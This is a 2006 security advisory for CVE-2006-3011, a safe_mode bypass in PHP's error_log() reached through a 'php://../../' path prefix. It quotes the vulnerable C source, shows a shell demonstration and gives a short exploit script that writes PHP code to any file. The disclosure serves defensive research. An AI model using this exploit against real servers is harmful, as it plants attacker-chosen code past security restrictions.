[error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2]
Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 10.6.2006
- -Public: 26.06.2006
CVE-2006-3011
- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.
A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available.
error_log -- Send an error message somewhere.
- --- 1. error_log() Safe Mode Bypass ---
error_log() function send to email, file or display your error message. You can send error messages per mail or write into files. Issue is very simple. error_log() check safe_mode and open_basedir in stream function. But isn't allowed use URL. And problem exists in incorrect filename.
PHP5:
- -2013-2050---
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char *headers TSRMLS_DC)
{
php_stream *stream = NULL;
switch (opt_err) {
case 1: /*send an email */
{
#if HAVE_SENDMAIL
if (!php_mail(opt, "PHP error_log message", message, headers, NULL TSRMLS_CC)) {
return FAILURE;
}
#else
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not available!");
return FAILURE;
#endif
}
break;
case 2: /*send to an address */
php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not available!");
return FAILURE;
break;
case 3: /*save to a file */
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
if (!stream)
return FAILURE;
php_stream_write(stream, message, strlen(message));
php_stream_close(stream);
break;
default:
php_log_err(message TSRMLS_CC);
break;
}
return SUCCESS;
}
- -2013-2050---
Let's see to option 3.
- -2038 line---
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
- -2038 line---
Option "a", writte to file error or if file dosen't exists, create new file.
Problem is because in php_stream_open_wrapper(), is defined "IGNORE_URL".
IGNORE_URL turn off safe_mode if you use "prefix://../../".
- -Example---
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php");'
Warning: error_log(): SAFE MODE Restriction in effect. The script whose uid is 0 is not allowed to access /www/temp owned by uid 80 in Command line code on line 1
Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid argument in Command line code on line 1
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "php://../../www/temp/sr.php");'
cxib# ls -la /www/temp/sr.php
- -rw-r--r-- 1 cxib www 16 Jun 11 17:47 /www/temp/sr.php
cxib#
- -Example---
- --- 2. Exploit ---
<?php
$file=""; # FILENAME
error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
?>
- --- 3. How to fix ---
No response from PHP Team. We have reported this bug in 11.06.2006
- --- 4. Contact ---
Author: Maksymilian Arciemowicz
